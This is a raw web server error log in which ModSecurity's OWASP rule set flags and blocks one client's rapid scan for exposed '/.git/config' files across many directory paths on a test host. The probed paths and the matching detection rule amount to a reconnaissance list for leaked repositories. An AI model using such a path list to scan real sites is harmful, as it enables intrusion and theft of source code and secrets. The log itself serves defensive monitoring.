[Sat May 10 16:56:09.356549 2025] [:error] [pid 3059025] [client 179.43.188.122:59610] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.git/config"] [unique_id "aB9pCUlfkBaUm4lz7nyE_wAAAAU"]
[Sat May 10 16:56:09.360519 2025] [:error] [pid 3059057] [client 179.43.188.122:59628] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dist/.git/config"] [unique_id "aB9pCSMUhQ8W_ipCq8iSSAAAAAI"]
[Sat May 10 16:56:09.360614 2025] [:error] [pid 3059025] [client 179.43.188.122:59610] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.git/config"] [unique_id "aB9pCUlfkBaUm4lz7nyE_wAAAAU"]
[Sat May 10 16:56:09.360666 2025] [:error] [pid 3059057] [client 179.43.188.122:59628] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/dist/.git/config"] [unique_id "aB9pCSMUhQ8W_ipCq8iSSAAAAAI"]
[Sat May 10 16:56:09.360753 2025] [:error] [pid 3059025] [client 179.43.188.122:59610] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/www/.git/config"] [unique_id "aB9pCUlfkBaUm4lz7nyE_wAAAAU"]
[Sat May 10 16:56:09.356853 2025] [:error] [pid 3059061] [client 179.43.188.122:59622] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /template/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/template/.git/config"] [unique_id "aB9pCYTkmZ_61P5VtDoKKgAAAAo"]
[Sat May 10 16:56:09.361025 2025] [:error] [pid 3059061] [client 179.43.188.122:59622] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/template/.git/config"] [unique_id "aB9pCYTkmZ_61P5VtDoKKgAAAAo"]
[Sat May 10 16:56:09.357427 2025] [authz_core:error] [pid 3059023] [client 179.43.188.122:59676] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/dev/.git
[Sat May 10 16:56:09.361171 2025] [:error] [pid 3059061] [client 179.43.188.122:59622] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/template/.git/config"] [unique_id "aB9pCYTkmZ_61P5VtDoKKgAAAAo"]
[Sat May 10 16:56:09.361355 2025] [authz_core:error] [pid 3059026] [client 179.43.188.122:59634] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/lib/.git
[Sat May 10 16:56:09.358002 2025] [:error] [pid 3067183] [client 179.43.188.122:59650] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /api/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aB9pCSOGMrfVSGaRlA_TDQAAAAg"]
[Sat May 10 16:56:09.362297 2025] [:error] [pid 3067184] [client 179.43.188.122:59596] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /scripts/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/scripts/.git/config"] [unique_id "aB9pCaiN8j380ERTCMxENwAAAAk"]
[Sat May 10 16:56:09.362473 2025] [:error] [pid 3067183] [client 179.43.188.122:59650] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aB9pCSOGMrfVSGaRlA_TDQAAAAg"]
[Sat May 10 16:56:09.362479 2025] [:error] [pid 3067184] [client 179.43.188.122:59596] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/scripts/.git/config"] [unique_id "aB9pCaiN8j380ERTCMxENwAAAAk"]
[Sat May 10 16:56:09.362629 2025] [:error] [pid 3067184] [client 179.43.188.122:59596] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/scripts/.git/config"] [unique_id "aB9pCaiN8j380ERTCMxENwAAAAk"]
[Sat May 10 16:56:09.362632 2025] [:error] [pid 3067183] [client 179.43.188.122:59650] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/api/.git/config"] [unique_id "aB9pCSOGMrfVSGaRlA_TDQAAAAg"]
[Sat May 10 16:56:09.363107 2025] [authz_core:error] [pid 3067185] [client 179.43.188.122:59664] AH01630: client denied by server configuration: /var/www/magento.test.indacotrentino.com/www/app/.git
[Sat May 10 16:56:09.391177 2025] [:error] [pid 3059027] [client 179.43.188.122:59698] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /old/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.git/config"] [unique_id "aB9pCXCEFZ22CWoLnbYVRAAAAAc"]
[Sat May 10 16:56:09.391195 2025] [:error] [pid 3059058] [client 179.43.188.122:59714] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /logs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/.git/config"] [unique_id "aB9pCRje5q_az-JqhkCU0AAAAAM"]
[Sat May 10 16:56:09.391425 2025] [:error] [pid 3059027] [client 179.43.188.122:59698] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.git/config"] [unique_id "aB9pCXCEFZ22CWoLnbYVRAAAAAc"]
[Sat May 10 16:56:09.391441 2025] [:error] [pid 3059058] [client 179.43.188.122:59714] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/.git/config"] [unique_id "aB9pCRje5q_az-JqhkCU0AAAAAM"]
[Sat May 10 16:56:09.391587 2025] [:error] [pid 3059058] [client 179.43.188.122:59714] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/logs/.git/config"] [unique_id "aB9pCRje5q_az-JqhkCU0AAAAAM"]
[Sat May 10 16:56:09.391587 2025] [:error] [pid 3059027] [client 179.43.188.122:59698] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/old/.git/config"] [unique_id "aB9pCXCEFZ22CWoLnbYVRAAAAAc"]
[Sat May 10 16:56:10.221103 2025] [:error] [pid 3059023] [client 179.43.188.122:59574] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /assets/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvZwAAAAE"]
[Sat May 10 16:56:10.221370 2025] [:error] [pid 3059023] [client 179.43.188.122:59574] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvZwAAAAE"]
[Sat May 10 16:56:10.221560 2025] [:error] [pid 3059023] [client 179.43.188.122:59574] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/assets/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvZwAAAAE"]
[Sat May 10 16:56:10.250286 2025] [:error] [pid 3059023] [client 179.43.188.122:59720] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /plugins/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvaAAAAAE"]
[Sat May 10 16:56:10.250527 2025] [:error] [pid 3059023] [client 179.43.188.122:59720] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvaAAAAAE"]
[Sat May 10 16:56:10.250704 2025] [:error] [pid 3059023] [client 179.43.188.122:59720] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/plugins/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvaAAAAAE"]
[Sat May 10 16:56:10.268384 2025] [:error] [pid 3059061] [client 179.43.188.122:59710] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /sandbox/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sandbox/.git/config"] [unique_id "aB9pCoTkmZ_61P5VtDoKKwAAAAo"]
[Sat May 10 16:56:10.268644 2025] [:error] [pid 3059061] [client 179.43.188.122:59710] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sandbox/.git/config"] [unique_id "aB9pCoTkmZ_61P5VtDoKKwAAAAo"]
[Sat May 10 16:56:10.269643 2025] [:error] [pid 3059061] [client 179.43.188.122:59710] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/sandbox/.git/config"] [unique_id "aB9pCoTkmZ_61P5VtDoKKwAAAAo"]
[Sat May 10 16:56:10.277241 2025] [:error] [pid 3059023] [client 179.43.188.122:59730] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /test/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvaQAAAAE"]
[Sat May 10 16:56:10.277489 2025] [:error] [pid 3059023] [client 179.43.188.122:59730] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvaQAAAAE"]
[Sat May 10 16:56:10.277637 2025] [:error] [pid 3059023] [client 179.43.188.122:59730] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/test/.git/config"] [unique_id "aB9pCtkKXj6G-SzudydvaQAAAAE"]
[Sat May 10 16:56:10.279216 2025] [:error] [pid 3067183] [client 179.43.188.122:59744] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "aB9pCiOGMrfVSGaRlA_TDgAAAAg"]
[Sat May 10 16:56:10.279447 2025] [:error] [pid 3067183] [client 179.43.188.122:59744] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "aB9pCiOGMrfVSGaRlA_TDgAAAAg"]
[Sat May 10 16:56:10.279551 2025] [:error] [pid 3067184] [client 179.43.188.122:59734] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /docs/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docs/.git/config"] [unique_id "aB9pCqiN8j380ERTCMxEOAAAAAk"]
[Sat May 10 16:56:10.279592 2025] [:error] [pid 3067183] [client 179.43.188.122:59744] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/media../.git/config"] [unique_id "aB9pCiOGMrfVSGaRlA_TDgAAAAg"]
[Sat May 10 16:56:10.279743 2025] [:error] [pid 3067184] [client 179.43.188.122:59734] [client 179.43.188.122] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "91"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docs/.git/config"] [unique_id "aB9pCqiN8j380ERTCMxEOAAAAAk"]
[Sat May 10 16:56:10.279893 2025] [:error] [pid 3067184] [client 179.43.188.122:59734] [client 179.43.188.122] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf"] [line "86"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [tag "event-correlation"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/docs/.git/config"] [unique_id "aB9pCqiN8j380ERTCMxEOAAAAAk"]
[Sat May 10 16:56:10.280963 2025] [:error] [pid 3067185] [client 179.43.188.122:59760] [client 179.43.188.122] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "124"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /src/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.2.0"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "forst-trento.test.indacotrentino.com"] [uri "/src/.git/config"] [unique_id "aB9pCgztxu2a_n5GBtbq6QAAAAw"]
